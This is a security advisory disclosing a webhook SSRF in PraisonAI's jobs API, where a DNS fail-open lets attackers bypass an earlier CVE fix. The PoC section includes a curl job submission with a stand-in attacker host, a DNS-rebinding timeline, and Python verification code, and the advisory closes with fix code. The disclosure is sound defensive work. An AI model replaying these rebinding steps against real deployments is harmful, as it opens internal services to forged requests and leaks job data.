GHSA-rg5q-pp8p-f7jm
PraisonAI: Webhook SSRF via DNS fail-open in `JobSubmitRequest.validate_webhook_url()` — bypass of CVE-2026-40114
Packages
Details
As written in the advisory (Markdown source, shown as plain text).
### Summary
`praisonai/jobs/models.py::JobSubmitRequest.validate_webhook_url()` validates webhook
URLs by resolving the hostname and checking whether the IP is private. When DNS
resolution fails (`socket.gaierror`), the validator **silently passes** the URL via
`except socket.gaierror: pass`. Additionally, even when DNS succeeds at validation time,
the webhook is fired much later by `JobExecutor._send_webhook()`, which calls
`httpx.AsyncClient().post(job.webhook_url)` — performing a **fresh, independent DNS
lookup** at execution time. Together, these flaws create a TOCTOU SSRF window.
An attacker can:
1. Submit a job with `webhook_url` pointing to a hostname that currently does not
resolve (NXDOMAIN) → validation passes (`gaierror` → `pass`)
2. Update DNS to point that hostname to `127.0.0.1` or another private IP
3. When the job completes, `_send_webhook()` resolves the hostname fresh → POST sent
to the internal IP
### Details
**Flaw 1 — Fail-open on DNS error (`jobs/models.py` lines 58-66):**
```python
@field_validator("webhook_url")
@classmethod
def validate_webhook_url(cls, v):
...
try:
ip = socket.gethostbyname(hostname)
ip_obj = ipaddress.ip_address(ip)
if ip_obj.is_private or ip_obj.is_loopback or ip_obj.is_link_local:
raise ValueError("Webhook URL resolves to private network address")
except socket.gaierror:
pass # <-- FAIL-OPEN: DNS failure allows the URL without restriction
return v
```
When `socket.gethostbyname(hostname)` raises `socket.gaierror` (NXDOMAIN, timeout,
network error during validation), execution flows to `pass` and the URL is accepted.
**Flaw 2 — Fresh DNS at execution time (`jobs/executor.py` lines 376-406):**
```python
async def _send_webhook(self, job: Job):
async with httpx.AsyncClient(timeout=30.0) as client:
response = await client.post(
job.webhook_url, # <-- fresh DNS resolution here, not cached from validation
json=payload,
...
)
```
`httpx.AsyncClient` creates a new connection per call. DNS is resolved at execution time,
completely independent of the validation-time resolution. The gap between submission
and execution can be minutes to hours (depending on job queue depth and timeout settings).
**Combined TOCTOU window:**
```
T=0 Attacker submits: webhook_url = "http://rebind.attacker.com/cb"
Validation: socket.gethostbyname("rebind.attacker.com") → gaierror (NXDOMAIN)
Result: except socket.gaierror: pass → ACCEPTED
T=5 Attacker updates DNS: rebind.attacker.com A → 127.0.0.1 (TTL=60)
T=60 Job completes. _send_webhook() fires:
httpx.post("http://rebind.attacker.com/cb")
DNS: rebind.attacker.com → 127.0.0.1
POST reaches 127.0.0.1 → SSRF
```
**Relation to CVE-2026-40114 / GHSA-8frj-8q3m-xhgm:** That CVE covered "no URL
validation at all" on the webhook_url parameter, patched in v4.5.126 by adding
`validate_webhook_url()` to `jobs/models.py`. This finding targets the **validation code
itself** — the `except socket.gaierror: pass` fail-open introduced in that patch.
CVE-2026-40114: no validation. This bypass: validation present but fail-open on DNS error.
### PoC
**Requirements:** A domain you control with configurable DNS TTL, access to the jobs API
**Step 1 — Confirm fail-open behaviour (local code verification):**
```python
from praisonai.jobs.models import JobSubmitRequest
from unittest.mock import patch
import socket
# Simulate: hostname temporarily does not resolve
with patch("socket.gethostbyname", side_effect=socket.gaierror("NXDOMAIN")):
req = JobSubmitRequest(
prompt="hello",
webhook_url="http://rebind.attacker.com/callback"
)
# No exception raised — URL accepted despite NXDOMAIN
print("Webhook accepted:", req.webhook_url)
```
Expected: `Webhook accepted: http://rebind.attacker.com/callback`
**Step 2 — Confirm fresh DNS at execution time:**
```python
# From jobs/executor.py _send_webhook():
# httpx.AsyncClient creates a new TCP connection (no DNS cache sharing with validator)
# Standard httpx behaviour: each .post() resolves DNS independently
import httpx, asyncio
async def demo():
# httpx resolves DNS here, not using any cached result from validation
async with httpx.AsyncClient() as client:
# This call resolves "rebind.attacker.com" fresh at runtime
# If DNS changed since validation, it hits the new IP
try:
r = await client.post("http://rebind.attacker.com/callback", json={})
except Exception as e:
print(f"Connection: {e}")
asyncio.run(demo())
```
**Step 3 — Full attack scenario:**
```bash
# 1. Set up domain with short TTL, currently returning NXDOMAIN
# rebind.attacker.com → (no record, TTL=60)
# 2. Submit job via API
curl -X POST http://praisonai-server:8000/jobs \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"prompt": "Calculate 2+2",
"webhook_url": "http://rebind.attacker.com/callback"
}'
# Response: {"job_id": "job_abc123", "status": "queued", ...}
# 3. After 5 seconds (before job finishes), add DNS record:
# rebind.attacker.com A 127.0.0.1 TTL=60
# 4. Wait for job to complete (seconds to minutes).
# _send_webhook() fires and resolves rebind.attacker.com → 127.0.0.1
# POST request hits 127.0.0.1 (internal service)
# If 127.0.0.1:80 is running a service, it receives:
# POST /callback HTTP/1.1
# Content-Type: application/json
# {"job_id": "job_abc123", "status": "succeeded", "result": "4", ...}
```
**Immediate variant (no DNS timing required):**
If DNS resolution fails transiently (rate limit, network blip, temporary outage)
during validation, the webhook is accepted unconditionally even for a URL that would
normally resolve to a private IP. No attacker control over DNS timing is required —
the attacker simply retries submission during moments when their DNS server is unreachable
(e.g., their DNS server is down, causing `gaierror`).
### Impact
**What kind of vulnerability:** Server-Side Request Forgery via TOCTOU DNS rebinding
and validation fail-open.
**Who is impacted:** Any deployment exposing the PraisonAI Jobs API (`POST /jobs`) to
external or lower-trusted callers. This includes:
- **Multi-tenant deployments** where workspace members submit jobs
- **API integrations** (n8n, Zapier-style workflows) that provide `webhook_url` fields
**Post-exploit capabilities:**
- HTTP POST to any internal service with JSON payload (job result data)
- If an internal service interprets the POST body as commands (Jenkins webhook,
Consul KV, etc.), this achieves code execution on internal infrastructure
- Exfiltration of job results (which may include agent reasoning, data retrieved
during the task, discovered credentials) to an attacker-controlled endpoint
```
---
## Remediation Suggestion (for maintainers)
**Fix 1 — Change `gaierror` handler to fail-closed (`jobs/models.py` line 63):**
```python
# VULNERABLE
except socket.gaierror:
pass
# FIXED
except socket.gaierror:
raise ValueError(
"Webhook URL hostname could not be resolved. "
"Ensure the hostname is valid and publicly reachable."
)
```
**Fix 2 — Re-validate at execution time (`jobs/executor.py` before `_send_webhook`):**
```python
async def _send_webhook(self, job: Job):
if not job.webhook_url:
return
# Re-validate to prevent DNS rebinding
try:
from urllib.parse import urlparse
import socket, ipaddress
hostname = urlparse(job.webhook_url).hostname
ip = socket.gethostbyname(hostname)
if ipaddress.ip_address(ip).is_private:
logger.warning(f"Webhook SSRF blocked at execution time: {job.webhook_url}")
return
except Exception as e:
logger.warning(f"Webhook validation failed at execution: {e}")
return
# ... proceed with httpx.post
```
References
External links from the advisory. They lead to third-party sites.